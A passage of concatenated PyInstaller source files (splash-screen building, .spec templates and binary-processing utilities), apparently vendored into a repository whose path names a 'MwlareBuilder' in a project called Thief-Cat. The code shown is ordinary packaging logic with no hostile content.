                raise SystemExit("The splash screen feature does not support macOS system framework version of Tcl/Tk.")
        # Check if tcl/tk was found
        assert all(self.tcl_lib)
        assert all(self.tk_lib)
        logger.debug("Use Tcl Library from %s and Tk From %s", self.tcl_lib, self.tk_lib)
        self.splash_requirements = set([self.tcl_lib[0], self.tk_lib[0]] + splash_requirements)

        logger.info("Collect tcl/tk binaries for the splash screen")
        tcltk_tree = tcltk_utils.collect_tcl_tk_files(self._tkinter_file)
        if self.full_tk:
            # The user wants a full copy of tk, so make all tk files a requirement.
            self.splash_requirements.update(entry[0] for entry in tcltk_tree)

        # Scan for binary dependencies of the Tcl/Tk shared libraries, and add them to `binaries` TOC list (which
        # should really be called `dependencies` as it is not limited to binaries. But it is too late now, and
        # existing spec files depend on this naming). We specify these binary dependencies (which include the
        # Tcl and Tk shared libaries themselves) even if the user's program uses tkinter and they would be collected
        # anyway; let the collection mechanism deal with potential duplicates.
        tcltk_libs = [(dest_name, src_name, 'BINARY') for dest_name, src_name in (self.tcl_lib, self.tk_lib)]
        self.binaries = bindepend.binary_dependency_analysis(tcltk_libs)

        # Put all shared library dependencies in `splash_requirements`, so they are made available in onefile mode.
        self.splash_requirements.update(entry[0] for entry in self.binaries)

        # If the user's program does not use tkinter, add resources from Tcl/Tk tree to the dependencies list.
        # Do so only for the resources that are part of splash requirements.
        if not self.uses_tkinter:
            self.binaries.extend(entry for entry in tcltk_tree if entry[0] in self.splash_requirements)

        # Check if all requirements were found.
        collected_files = set(entry[0] for entry in (binaries + datas + self.binaries))

        def _filter_requirement(filename):
            if filename not in collected_files:
                # Item is not bundled, so warn the user about it. This actually may happen on some tkinter installations
                # that are missing the license.terms file.
                logger.warning(
                    "The local Tcl/Tk installation is missing the file %s. The behavior of the splash screen is "
                    "therefore undefined and may be unsupported.", filename
                )
                return False
            return True

        # Remove all files which were not found.
        self.splash_requirements = set(filter(_filter_requirement, self.splash_requirements))

        # Test if the tcl/tk version is supported by the bootloader.
        self.test_tk_version()

        logger.debug("Splash Requirements: %s", self.splash_requirements)

        self.__postinit__()

    _GUTS = (
        # input parameters
        ('image_file', _check_guts_eq),
        ('name', _check_guts_eq),
        ('script_name', _check_guts_eq),
        ('text_pos', _check_guts_eq),
        ('text_size', _check_guts_eq),
        ('text_font', _check_guts_eq),
        ('text_color', _check_guts_eq),
        ('text_default', _check_guts_eq),
        ('always_on_top', _check_guts_eq),
        ('full_tk', _check_guts_eq),
        ('minify_script', _check_guts_eq),
        ('rundir', _check_guts_eq),
        ('max_img_size', _check_guts_eq),
        # calculated/analysed values
        ('uses_tkinter', _check_guts_eq),
        ('script', _check_guts_eq),
        ('tcl_lib', _check_guts_eq),
        ('tk_lib', _check_guts_eq),
        ('splash_requirements', _check_guts_eq),
        ('binaries', _check_guts_toc),
        # internal value
        # Check if the tkinter installation changed. This is theoretically possible if someone uses two different python
        # installations of the same version.
        ('_tkinter_file', _check_guts_eq),
    )

    def _check_guts(self, data, last_build):
        if Target._check_guts(self, data, last_build):
            return True

        # Check if the image has been modified.
        if misc.mtime(self.image_file) > last_build:
            logger.info("Building %s because file %s changed", self.tocbasename, self.image_file)
            return True

        return False

    def assemble(self):
        logger.info("Building Splash %s", self.name)

        # Function to resize a given image to fit into the area defined by max_img_size.
        def _resize_image(_image, _orig_size):
            if PILImage:
                _w, _h = _orig_size
                _ratio_w = self.max_img_size[0] / _w
                if _ratio_w < 1:
                    # Image width exceeds limit
                    _h = int(_h * _ratio_w)
                    _w = self.max_img_size[0]

                _ratio_h = self.max_img_size[1] / _h
                if _ratio_h < 1:
                    # Image height exceeds limit
                    _w = int(_w * _ratio_h)
                    _h = self.max_img_size[1]

                # If a file is given it will be open
                if isinstance(_image, PILImage.Image):
                    _img = _image
                else:
                    _img = PILImage.open(_image)
                _img_resized = _img.resize((_w, _h))

                # Save image into a stream
                _image_stream = io.BytesIO()
                _img_resized.save(_image_stream, format='PNG')
                _img.close()
                _img_resized.close()
                _image_data = _image_stream.getvalue()
                logger.info("Resized image %s from dimensions %s to (%d, %d)", self.image_file, str(_orig_size), _w, _h)
                return _image_data
            else:
                raise ValueError(
                    "The splash image dimensions (w: %d, h: %d) exceed max_img_size (w: %d, h:%d), but the image "
                    "cannot be resized due to missing PIL.Image! Either install the Pillow package, adjust the "
                    "max_img_size, or use an image of compatible dimensions.", _orig_size[0], _orig_size[1],
                    self.max_img_size[0], self.max_img_size[1]
                )

        # Open image file
        image_file = open(self.image_file, 'rb')

        # Check header of the file to identify it
        if image_file.read(8) == b'\x89PNG\r\n\x1a\n':
            # self.image_file is a PNG file
            image_file.seek(16)
            img_size = (struct.unpack("!I", image_file.read(4))[0], struct.unpack("!I", image_file.read(4))[0])

            if img_size > self.max_img_size:
                # The image exceeds the maximum image size, so resize it
                image = _resize_image(self.image_file, img_size)
            else:
                image = os.path.abspath(self.image_file)
        elif PILImage:
            # Pillow is installed, meaning the image can be converted automatically
            img = PILImage.open(self.image_file, mode='r')

            if img.size > self.max_img_size:
                image = _resize_image(img, img.size)
            else:
                image_data = io.BytesIO()
                img.save(image_data, format='PNG')
                img.close()
                image = image_data.getvalue()
            logger.info("Converted image %s to PNG format", self.image_file)
        else:
            raise ValueError(
                "The image %s needs to be converted to a PNG file, but PIL.Image is not available! Either install the "
                "Pillow package, or use a PNG image for you splash screen.", self.image_file
            )

        image_file.close()

        SplashWriter(
            self.name,
            self.splash_requirements,
            self.tcl_lib[0],  # tcl86t.dll
            self.tk_lib[0],  # tk86t.dll
            tcltk_utils.TK_ROOTNAME,
            self.rundir,
            image,
            self.script
        )

    def test_tk_version(self):
        tcl_version = float(self._tkinter_module.TCL_VERSION)
        tk_version = float(self._tkinter_module.TK_VERSION)

        # Test if tcl/tk version is supported
        if tcl_version < 8.6 or tk_version < 8.6:
            logger.warning(
                "The installed Tcl/Tk (%s/%s) version might not work with the splash screen feature of the bootloader. "
                "The bootloader is tested against Tcl/Tk 8.6", self._tkinter_module.TCL_VERSION,
                self._tkinter_module.TK_VERSION
            )

        # This should be impossible, since tcl/tk is released together with the same version number, but just in case
        if tcl_version != tk_version:
            logger.warning(
                "The installed version of Tcl (%s) and Tk (%s) do not match. PyInstaller is tested against matching "
                "versions", self._tkinter_module.TCL_VERSION, self._tkinter_module.TK_VERSION
            )

        # Ensure that Tcl is built with multi-threading support.
        if not tcltk_utils.tcl_threaded:
            # This is a feature breaking problem, so exit.
            raise SystemExit(
                "The installed tcl version is not threaded. PyInstaller only supports the splash screen "
                "using threaded tcl."
            )

    def generate_script(self):
        """
        Generate the script for the splash screen.

        If minify_script is True, all unnecessary parts will be removed.
        """
        d = {}
        if self.text_pos is not None:
            logger.debug("Add text support to splash screen")
            d.update({
                'pad_x': self.text_pos[0],
                'pad_y': self.text_pos[1],
                'color': self.text_color,
                'font': self.text_font,
                'font_size': self.text_size,
                'default_text': self.text_default,
            })
        script = splash_templates.build_script(text_options=d, always_on_top=self.always_on_top)

        if self.minify_script:
            # Remove any documentation, empty lines and unnecessary spaces
            script = '\n'.join(
                line for line in map(lambda line: line.strip(), script.splitlines())
                if not line.startswith('#')  # documentation
                and line  # empty lines
            )
            # Remove unnecessary spaces
            script = re.sub(' +', ' ', script)

        # Write script to disk, so that it is transparent to the user what script is executed.
        with open(self.script_name, "w") as script_file:
            script_file.write(script)
        return script

    @staticmethod
    def _uses_tkinter(tkinter_file, binaries):
        # Test for _tkinter extension instead of tkinter module, because user might use a different wrapping library for
        # Tk. Use `pathlib.PurePath˙ in comparisons to account for case normalization and separator normalization.
        tkinter_file = pathlib.PurePath(tkinter_file)
        for dest_name, src_name, typecode in binaries:
            if pathlib.PurePath(src_name) == tkinter_file:
                return True
        return False

    @staticmethod
    def _find_rundir(structure):
        # First try a name the user could understand, if one would find the directory.
        rundir = '__splash%s'
        candidate = rundir % ""
        counter = 0

        # Run this loop as long as a folder exist named like rundir. In most cases __splash will be sufficient and this
        # loop won't enter.
        while any(e[0].startswith(candidate + os.sep) for e in structure):
            # just append to rundir a counter
            candidate = rundir % str(counter)
            counter += 1

            # The SPLASH_DATA_HEADER structure limits the name to be 16 bytes at maximum. So if we exceed the limit
            # raise an error. This will never happen, since there are 10^8 different possibilities, but just in case.
            assert len(candidate) <= 16

        return candidate

ThiefCat_assets/MwlareBuilder/building/splash.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Templates to generate .spec files.
"""

onefiletmplt = """# -*- mode: python ; coding: utf-8 -*-
%(preamble)s

a = Analysis(
    %(scripts)s,
    pathex=%(pathex)s,
    binaries=%(binaries)s,
    datas=%(datas)s,
    hiddenimports=%(hiddenimports)s,
    hookspath=%(hookspath)r,
    hooksconfig={},
    runtime_hooks=%(runtime_hooks)r,
    excludes=%(excludes)s,
    noarchive=%(noarchive)s,
)
pyz = PYZ(a.pure)
%(splash_init)s
exe = EXE(
    pyz,
    a.scripts,
    a.binaries,
    a.datas,%(splash_target)s%(splash_binaries)s
    %(options)s,
    name='%(name)s',
    debug=%(debug_bootloader)s,
    bootloader_ignore_signals=%(bootloader_ignore_signals)s,
    strip=%(strip)s,
    upx=%(upx)s,
    upx_exclude=%(upx_exclude)s,
    runtime_tmpdir=%(runtime_tmpdir)r,
    console=%(console)s,
    disable_windowed_traceback=%(disable_windowed_traceback)s,
    argv_emulation=%(argv_emulation)r,
    target_arch=%(target_arch)r,
    codesign_identity=%(codesign_identity)r,
    entitlements_file=%(entitlements_file)r,%(exe_options)s
)
"""

onedirtmplt = """# -*- mode: python ; coding: utf-8 -*-
%(preamble)s

a = Analysis(
    %(scripts)s,
    pathex=%(pathex)s,
    binaries=%(binaries)s,
    datas=%(datas)s,
    hiddenimports=%(hiddenimports)s,
    hookspath=%(hookspath)r,
    hooksconfig={},
    runtime_hooks=%(runtime_hooks)r,
    excludes=%(excludes)s,
    noarchive=%(noarchive)s,
)
pyz = PYZ(a.pure)
%(splash_init)s
exe = EXE(
    pyz,
    a.scripts,%(splash_target)s
    %(options)s,
    exclude_binaries=True,
    name='%(name)s',
    debug=%(debug_bootloader)s,
    bootloader_ignore_signals=%(bootloader_ignore_signals)s,
    strip=%(strip)s,
    upx=%(upx)s,
    console=%(console)s,
    disable_windowed_traceback=%(disable_windowed_traceback)s,
    argv_emulation=%(argv_emulation)r,
    target_arch=%(target_arch)r,
    codesign_identity=%(codesign_identity)r,
    entitlements_file=%(entitlements_file)r,%(exe_options)s
)
coll = COLLECT(
    exe,
    a.binaries,
    a.datas,%(splash_binaries)s
    strip=%(strip)s,
    upx=%(upx)s,
    upx_exclude=%(upx_exclude)s,
    name='%(name)s',
)
"""

bundleexetmplt = """app = BUNDLE(
    exe,
    name='%(name)s.app',
    icon=%(icon)s,
    bundle_identifier=%(bundle_identifier)s,
)
"""

bundletmplt = """app = BUNDLE(
    coll,
    name='%(name)s.app',
    icon=%(icon)s,
    bundle_identifier=%(bundle_identifier)s,
)
"""

splashtmpl = """splash = Splash(
    %(splash_image)r,
    binaries=a.binaries,
    datas=a.datas,
    text_pos=None,
    text_size=12,
    minify_script=True,
    always_on_top=True,
)
"""

ThiefCat_assets/MwlareBuilder/building/templates.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import fnmatch
import glob
import hashlib
import marshal
import os
import pathlib
import platform
import py_compile
import shutil
import struct
import subprocess
import sys
import zipfile

from PyInstaller import compat
from PyInstaller import log as logging
from PyInstaller.compat import (EXTENSION_SUFFIXES, is_darwin, is_win)
from PyInstaller.config import CONF
from PyInstaller.exceptions import InvalidSrcDestTupleError
from PyInstaller.utils import misc

if is_win:
    from PyInstaller.utils.win32 import versioninfo

if is_darwin:
    import PyInstaller.utils.osx as osxutils

logger = logging.getLogger(__name__)

# -- Helpers for checking guts.
#
# NOTE: by _GUTS it is meant intermediate files and data structures that PyInstaller creates for bundling files and
# creating final executable.


def _check_guts_eq(attr_name, old_value, new_value, last_build):
    """
    Rebuild is required if values differ.
    """
    if old_value != new_value:
        logger.info("Building because %s changed", attr_name)
        return True
    return False


def _check_guts_toc_mtime(attr_name, old_toc, new_toc, last_build):
    """
    Rebuild is required if mtimes of files listed in old TOC are newer than last_build.

    Use this for calculated/analysed values read from cache.
    """
    for dest_name, src_name, typecode in old_toc:
        if misc.mtime(src_name) > last_build:
            logger.info("Building because %s changed", src_name)
            return True
    return False


def _check_guts_toc(attr_name, old_toc, new_toc, last_build):
    """
    Rebuild is required if either TOC content changed or mtimes of files listed in old TOC are newer than last_build.

    Use this for input parameters.
    """
    return _check_guts_eq(attr_name, old_toc, new_toc, last_build) or \
        _check_guts_toc_mtime(attr_name, old_toc, new_toc, last_build)


def add_suffix_to_extension(dest_name, src_name, typecode):
    """
    Take a TOC entry (dest_name, src_name, typecode) and adjust the dest_name for EXTENSION to include the full library
    suffix.
    """
    # No-op for non-extension
    if typecode != 'EXTENSION':
        return dest_name, src_name, typecode

    # If dest_name completely fits into end of the src_name, it has already been processed.
    if src_name.endswith(dest_name):
        return dest_name, src_name, typecode

    # Change the dotted name into a relative path. This places C extensions in the Python-standard location.
    dest_name = dest_name.replace('.', os.sep)
    # In some rare cases extension might already contain a suffix. Skip it in this case.
    if os.path.splitext(dest_name)[1] not in EXTENSION_SUFFIXES:
        # Determine the base name of the file.
        base_name = os.path.basename(dest_name)
        assert '.' not in base_name
        # Use this file's existing extension. For extensions such as ``libzmq.cp36-win_amd64.pyd``, we cannot use
        # ``os.path.splitext``, which would give only the ```.pyd`` part of the extension.
        dest_name = dest_name + os.path.basename(src_name)[len(base_name):]

    return dest_name, src_name, typecode


def process_collected_binary(
    src_name,
    dest_name,
    use_strip=False,
    use_upx=False,
    upx_exclude=None,
    target_arch=None,
    codesign_identity=None,
    entitlements_file=None,
    strict_arch_validation=False
):
    """
    Process the collected binary using strip or UPX (or both), and apply any platform-specific processing. On macOS,
    this rewrites the library paths in the headers, and (re-)signs the binary. On-disk cache is used to avoid processing
    the same binary with same options over and over.

    In addition to given arguments, this function also uses CONF['cachedir'] and CONF['upx_dir'].
    """
    from PyInstaller.config import CONF

    # We need to use cache in the following scenarios:
    #  * extra binary processing due to use of `strip` or `upx`
    #  * building on macOS, where we need to rewrite library paths in binaries' headers and (re-)sign the binaries.
    if not use_strip and not use_upx and not is_darwin:
        return src_name

    # Skip processing if this is Windows .manifest file. We used to process these as part of support for collecting
    # WinSxS assemblies, but that was removed in PyInstaller 6.0. So in case we happen to get a .manifest file here,
    # return it as-is.
    if is_win and src_name.lower().endswith(".manifest"):
        return src_name

    # Match against provided UPX exclude patterns.
    upx_exclude = upx_exclude or []
    if use_upx:
        src_path = pathlib.PurePath(src_name)
        for upx_exclude_entry in upx_exclude:
            # pathlib.PurePath.match() matches from right to left, and supports * wildcard, but does not support the
            # "**" syntax for directory recursion. Case sensitivity follows the OS default.
            if src_path.match(upx_exclude_entry):
                logger.info("Disabling UPX for %s due to match in exclude pattern: %s", src_name, upx_exclude_entry)
                use_upx = False
                break

    # Prepare cache directory path. Cache is tied to python major/minor version, but also to various processing options.
    pyver = f'py{sys.version_info[0]}{sys.version_info[1]}'
    arch = platform.architecture()[0]
    cache_dir = os.path.join(
        CONF['cachedir'],
        f'bincache{use_strip:d}{use_upx:d}{pyver}{arch}',
    )
    if target_arch:
        cache_dir = os.path.join(cache_dir, target_arch)
    if is_darwin:
        # Separate by codesign identity
        if codesign_identity:
            # Compute hex digest of codesign identity string to prevent issues with invalid characters.
            csi_hash = hashlib.sha256(codesign_identity.encode('utf-8'))
            cache_dir = os.path.join(cache_dir, csi_hash.hexdigest())
        else:
            cache_dir = os.path.join(cache_dir, 'adhoc')  # ad-hoc signing
        # Separate by entitlements
        if entitlements_file:
            # Compute hex digest of entitlements file contents
            with open(entitlements_file, 'rb') as fp:
                ef_hash = hashlib.sha256(fp.read())
            cache_dir = os.path.join(cache_dir, ef_hash.hexdigest())
        else:
            cache_dir = os.path.join(cache_dir, 'no-entitlements')
    os.makedirs(cache_dir, exist_ok=True)

    # Load cache index, if available
    cache_index_file = os.path.join(cache_dir, "index.dat")
    try:
        cache_index = misc.load_py_data_struct(cache_index_file)
    except FileNotFoundError:
        cache_index = {}
    except Exception:
        # Tell the user they may want to fix their cache... However, do not delete it for them; if it keeps getting
        # corrupted, we will never find out.
        logger.warning("PyInstaller bincache may be corrupted; use PyInstaller --clean to fix it.")
        raise

    # Look up the file in cache; use case-normalized destination name as identifier.
    cached_id = os.path.normcase(dest_name)
    cached_name = os.path.join(cache_dir, dest_name)
    src_digest = _compute_file_digest(src_name)

    if cached_id in cache_index:
        # If digest matches to the cached digest, return the cached file...
        if src_digest == cache_index[cached_id]:
            return cached_name

        # ... otherwise remove it.
        os.remove(cached_name)

    cmd = None

    if use_upx:
        # If we are to apply both strip and UPX, apply strip first.
        if use_strip:
            src_name = process_collected_binary(
                src_name,
                dest_name,
                strip=True,
                upx=False,
                target_arch=target_arch,
                codesign_identity=codesign_identity,
                entitlements_file=entitlements_file,
                strict_arch_validation=strict_arch_validation,
            )
        # We need to avoid using UPX with Windows DLLs that have Control Flow Guard enabled, as it breaks them.
        if is_win and versioninfo.pefile_check_control_flow_guard(src_name):
            logger.info('Disabling UPX for %s due to CFG!', src_name)
        elif misc.is_file_qt_plugin(src_name):
            logger.info('Disabling UPX for %s due to it being a Qt plugin!', src_name)
        else:
            upx_exe = 'upx'
            upx_dir = CONF['upx_dir']
            if upx_dir:
                upx_exe = os.path.join(upx_dir, upx_exe)

            upx_options = [
                # Do not compress icons, so that they can still be accessed externally.
                '--compress-icons=0',
                # Use LZMA compression.
                '--lzma',
                # Quiet mode.
                '-q',
            ]
            if is_win:
                # Binaries built with Visual Studio 7.1 require --strip-loadconf or they will not compress.
                upx_options.append('--strip-loadconf')

            cmd = [upx_exe, *upx_options, cached_name]
    elif use_strip:
        strip_options = []
        if is_darwin:
            # The default strip behavior breaks some shared libraries under macOS.
            strip_options = ["-S"]  # -S = strip only debug symbols.
        cmd = ["strip", *strip_options, cached_name]

    # Ensure parent path exists
    os.makedirs(os.path.dirname(cached_name), exist_ok=True)

    # Use `shutil.copyfile` to copy the file with default permissions bits, then manually set executable
    # bits. This way, we avoid copying permission bits and metadata from the original file, which might be too
    # restrictive for further processing (read-only permissions, immutable flag on FreeBSD, and so on).
    shutil.copyfile(src_name, cached_name)
    os.chmod(cached_name, 0o755)

    if cmd:
        logger.info("Executing: %s", " ".join(cmd))
        subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

    # Update cache index
    cache_index[cached_id] = src_digest
    misc.save_py_data_struct(cache_index_file, cache_index)

    # On macOS, we need to modify the given binary's paths to the dependent libraries, in order to ensure they are
    # relocatable and always refer to location within the frozen application. Specifically, we make all dependent
    # library paths relative to @rpath, and set @rpath to point to the top-level application directory, relative to
    # the binary's location (i.e., @loader_path).
    #
    # While modifying the headers invalidates existing signatures, we avoid removing them in order to speed things up
    # (and to avoid potential bugs in the codesign utility, like the one reported on Mac OS 10.13 in #6167).
    # The forced re-signing at the end should take care of the invalidated signatures.
    if is_darwin:
        try:
            osxutils.binary_to_target_arch(cached_name, target_arch, display_name=src_name)
            #osxutils.remove_signature_from_binary(cached_name)  # Disabled as per comment above.
            target_rpath = str(
                pathlib.PurePath('@loader_path', *['..' for level in pathlib.PurePath(dest_name).parent.parts])
            )
            osxutils.set_dylib_dependency_paths(cached_name, target_rpath)
            osxutils.sign_binary(cached_name, codesign_identity, entitlements_file)
        except osxutils.InvalidBinaryError:
            # Raised by osxutils.binary_to_target_arch when the given file is not a valid macOS binary (for example,
            # a linux .so file; see issue #6327). The error prevents any further processing, so just ignore it.
            pass
        except osxutils.IncompatibleBinaryArchError:
            # Raised by osxutils.binary_to_target_arch when the given file does not contain (all) required arch slices.
            # Depending on the strict validation mode, re-raise or swallow the error.
            #
            # Strict validation should be enabled only for binaries where the architecture *must* match the target one,
            # i.e., the extension modules. Everything else is pretty much a gray area, for example:
            #  * a universal2 extension may have its x86_64 and arm64 slices linked against distinct single-arch/thin
            #    shared libraries
            #  * a collected executable that is launched by python code via a subprocess can be x86_64-only, even though
            #    the actual python code is running on M1 in native arm64 mode.
            if strict_arch_validation:
                raise
            logger.debug("File %s failed optional architecture validation - collecting as-is!", src_name)
        except Exception as e:
            raise SystemError(f"Failed to process binary {cached_name!r}!") from e

    return cached_name


def _compute_file_digest(filename):
    hasher = hashlib.md5()
    with open(filename, "rb") as fp:
        for chunk in iter(lambda: fp.read(16 * 1024), b""):
            hasher.update(chunk)
    return bytearray(hasher.digest())


def _check_path_overlap(path):
    """
    Check that path does not overlap with WORKPATH or SPECPATH (i.e., WORKPATH and SPECPATH may not start with path,
    which could be caused by a faulty hand-edited specfile).

    Raise SystemExit if there is overlap, return True otherwise
    """
    from PyInstaller.config import CONF
    specerr = 0
    if CONF['workpath'].startswith(path):
        logger.error('Specfile error: The output path "%s" contains WORKPATH (%s)', path, CONF['workpath'])
        specerr += 1
    if CONF['specpath'].startswith(path):
        logger.error('Specfile error: The output path "%s" contains SPECPATH (%s)', path, CONF['specpath'])
        specerr += 1
    if specerr:
        raise SystemExit(
            'Error: Please edit/recreate the specfile (%s) and set a different output name (e.g. "dist").' %
            CONF['spec']
        )
    return True


def _make_clean_directory(path):
    """
    Create a clean directory from the given directory name.
    """
    if _check_path_overlap(path):
        if os.path.isdir(path) or os.path.isfile(path):
            try:
                os.remove(path)
            except OSError:
                _rmtree(path)

        os.makedirs(path, exist_ok=True)


def _rmtree(path):
    """
    Remove directory and all its contents, but only after user confirmation, or if the -y option is set.
    """
    from PyInstaller.config import CONF
    if CONF['noconfirm']:
        choice = 'y'
    elif sys.stdout.isatty():
        choice = input(
            'WARNING: The output directory "%s" and ALL ITS CONTENTS will be REMOVED! Continue? (y/N)' % path
        )
    else:
        raise SystemExit(
            'Error: The output directory "%s" is not empty. Please remove all its contents or use the -y option (remove'
            ' output directory without confirmation).' % path
        )
    if choice.strip().lower() == 'y':
        if not CONF['noconfirm']:
            print("On your own risk, you can use the option `--noconfirm` to get rid of this question.")
        logger.info('Removing dir %s', path)
        shutil.rmtree(path)
    else:
        raise SystemExit('User aborted')


# TODO Refactor to prohibit empty target directories. As the docstring below documents, this function currently permits
# the second item of each 2-tuple in "hook.datas" to be the empty string, in which case the target directory defaults to
# the source directory's basename. However, this functionality is very fragile and hence bad. Instead:
#
# * An exception should be raised if such item is empty.
# * All hooks currently passing the empty string for such item (e.g.,
#   "hooks/hook-babel.py", "hooks/hook-matplotlib.py") should be refactored
#   to instead pass such basename.
def format_binaries_and_datas(binaries_or_datas, workingdir=None):
    """
    Convert the passed list of hook-style 2-tuples into a returned set of `TOC`-style 2-tuples.

    Elements of the passed list are 2-tuples `(source_dir_or_glob, target_dir)`.
    Elements of the returned set are 2-tuples `(target_file, source_file)`.
    For backwards compatibility, the order of elements in the former tuples are the reverse of the order of elements in
    the latter tuples!

    Parameters
    ----------
    binaries_or_datas : list
        List of hook-style 2-tuples (e.g., the top-level `binaries` and `datas` attributes defined by hooks) whose:
        * The first element is either:
          * A glob matching only the absolute or relative paths of source non-Python data files.
          * The absolute or relative path of a source directory containing only source non-Python data files.
        * The second element is the relative path of the target directory into which these source files will be
          recursively copied.

        If the optional `workingdir` parameter is passed, source paths may be either absolute or relative; else, source
        paths _must_ be absolute.
    workingdir : str
        Optional absolute path of the directory to which all relative source paths in the `binaries_or_datas`
        parameter will be prepended by (and hence converted into absolute paths) _or_ `None` if these paths are to be
        preserved as relative. Defaults to `None`.

    Returns
    ----------
    set
        Set of `TOC`-style 2-tuples whose:
        * First element is the absolute or relative path of a target file.
        * Second element is the absolute or relative path of the corresponding source file to be copied to this target
          file.
    """
    toc_datas = set()

    for src_root_path_or_glob, trg_root_dir in binaries_or_datas:
        # Disallow empty source path. Those are typically result of errors, and result in implicit collection of the
        # whole current working directory, which is never a good idea.
        if not src_root_path_or_glob:
            raise InvalidSrcDestTupleError(
                (src_root_path_or_glob, trg_root_dir),
                "Empty SRC is not allowed when adding binary and data files, as it would result in collection of the "
                "whole current working directory."
            )
        if not trg_root_dir:
            raise InvalidSrcDestTupleError(
                (src_root_path_or_glob, trg_root_dir),
                "Empty DEST_DIR is not allowed - to collect files into application's top-level directory, use "
                f"{os.curdir!r}."
            )
        # Disallow absolute target paths, as well as target paths that would end up pointing outside of the
        # application's top-level directory.
        if os.path.isabs(trg_root_dir):
            raise InvalidSrcDestTupleError((src_root_path_or_glob, trg_root_dir), "DEST_DIR must be a relative path!")
        if os.path.normpath(trg_root_dir).startswith('..'):
            raise InvalidSrcDestTupleError(
                (src_root_path_or_glob, trg_root_dir),
                "DEST_DIR must not point outside of application's top-level directory!",
            )

        # Convert relative to absolute paths if required.
        if workingdir and not os.path.isabs(src_root_path_or_glob):
            src_root_path_or_glob = os.path.join(workingdir, src_root_path_or_glob)

        # Normalize paths.
        src_root_path_or_glob = os.path.normpath(src_root_path_or_glob)
        if os.path.isfile(src_root_path_or_glob):
            src_root_paths = [src_root_path_or_glob]
        else:
            # List of the absolute paths of all source paths matching the current glob.
            src_root_paths = glob.glob(src_root_path_or_glob)

        if not src_root_paths:
            raise SystemExit(f'Unable to find {src_root_path_or_glob!r} when adding binary and data files.')

        for src_root_path in src_root_paths:
            if os.path.isfile(src_root_path):
                # Normalizing the result to remove redundant relative paths (e.g., removing "./" from "trg/./file").
                toc_datas.add((
                    os.path.normpath(os.path.join(trg_root_dir, os.path.basename(src_root_path))),
                    os.path.normpath(src_root_path),
                ))
            elif os.path.isdir(src_root_path):
                for src_dir, src_subdir_basenames, src_file_basenames in os.walk(src_root_path):
                    # Ensure the current source directory is a subdirectory of the passed top-level source directory.
                    # Since os.walk() does *NOT* follow symlinks by default, this should be the case. (But let's make
                    # sure.)
                    assert src_dir.startswith(src_root_path)

                    # Relative path of the current target directory, obtained by:
                    #
                    # * Stripping the top-level source directory from the current source directory (e.g., removing
                    #   "/top" from "/top/dir").
                    # * Normalizing the result to remove redundant relative paths (e.g., removing "./" from
                    #   "trg/./file").
                    trg_dir = os.path.normpath(os.path.join(trg_root_dir, os.path.relpath(src_dir, src_root_path)))

                    for src_file_basename in src_file_basenames:
                        src_file = os.path.join(src_dir, src_file_basename)
                        if os.path.isfile(src_file):
                            # Normalize the result to remove redundant relative paths (e.g., removing "./" from
                            # "trg/./file").
                            toc_datas.add((
                                os.path.normpath(os.path.join(trg_dir, src_file_basename)), os.path.normpath(src_file)
                            ))

    return toc_datas


def get_code_object(modname, filename):
    """
    Get the code-object for a module.

    This is a simplifed non-performant version which circumvents __pycache__.
    """

    if filename in ('-', None):
        # This is a NamespacePackage, modulegraph marks them by using the filename '-'. (But wants to use None, so
        # check for None, too, to be forward-compatible.)
        logger.debug('Compiling namespace package %s', modname)
        txt = '#\n'
        code_object = compile(txt, filename, 'exec')
    else:
        _, ext = os.path.splitext(filename)
        ext = ext.lower()

        if ext == '.pyc':
            # The module is available in binary-only form. Read the contents of .pyc file using helper function, which
            # supports reading from either stand-alone or archive-embedded .pyc files.
            logger.debug('Reading code object from .pyc file %s', filename)
            pyc_data = _read_pyc_data(filename)
            code_object = marshal.loads(pyc_data[16:])
        else:
            # Assume this is a source .py file, but allow an arbitrary extension (other than .pyc, which is taken in
            # the above branch). This allows entry-point scripts to have an arbitrary (or no) extension, as tested by
            # the `test_arbitrary_ext` in `test_basic.py`.
            logger.debug('Compiling python script/module file %s', filename)

            with open(filename, 'rb') as f:
                source = f.read()

            try:
                code_object = compile(source, filename, 'exec')
            except SyntaxError:
                logger.warning("Sytnax error while compiling %s", filename)
                raise

    return code_object


def strip_paths_in_code(co, new_filename=None):
    # Paths to remove from filenames embedded in code objects
    replace_paths = sys.path + CONF['pathex']
    # Make sure paths end with os.sep and the longest paths are first
    replace_paths = sorted((os.path.join(f, '') for f in replace_paths), key=len, reverse=True)

    if new_filename is None:
        original_filename = os.path.normpath(co.co_filename)
        for f in replace_paths:
            if original_filename.startswith(f):
                new_filename = original_filename[len(f):]
                break

        else:
            return co

    code_func = type(co)

    consts = tuple(
        strip_paths_in_code(const_co, new_filename) if isinstance(const_co, code_func) else const_co
        for const_co in co.co_consts
    )

    return co.replace(co_consts=consts, co_filename=new_filename)


def _should_include_system_binary(binary_tuple, exceptions):
    """
    Return True if the given binary_tuple describes a system binary that should be included.

    Exclude all system library binaries other than those with "lib-dynload" in the destination or "python" in the
    source, except for those matching the patterns in the exceptions list. Intended to be used from the Analysis
    exclude_system_libraries method.
    """
    dest = binary_tuple[0]
    if dest.startswith('lib-dynload'):
        return True
    src = binary_tuple[1]
    if fnmatch.fnmatch(src, '*python*'):
        return True
    if not src.startswith('/lib') and not src.startswith('/usr/lib'):
        return True
    for exception in exceptions:
        if fnmatch.fnmatch(dest, exception):
            return True
    return False


def compile_pymodule(name, src_path, workpath, code_cache=None):
    """
    Given the TOC entry (name, path, typecode) for a pure-python module, compile the module in the specified working
    directory, and return the TOC entry for collecting the byte-compiled module. No-op for typecodes other than
    PYMODULE.
    """

    # Construct the target .pyc filename in the workpath
    split_name = name.split(".")
    if "__init__" in src_path:
        # __init__ module; use "__init__" as module name, and construct parent path using all components of the
        # fully-qualified name
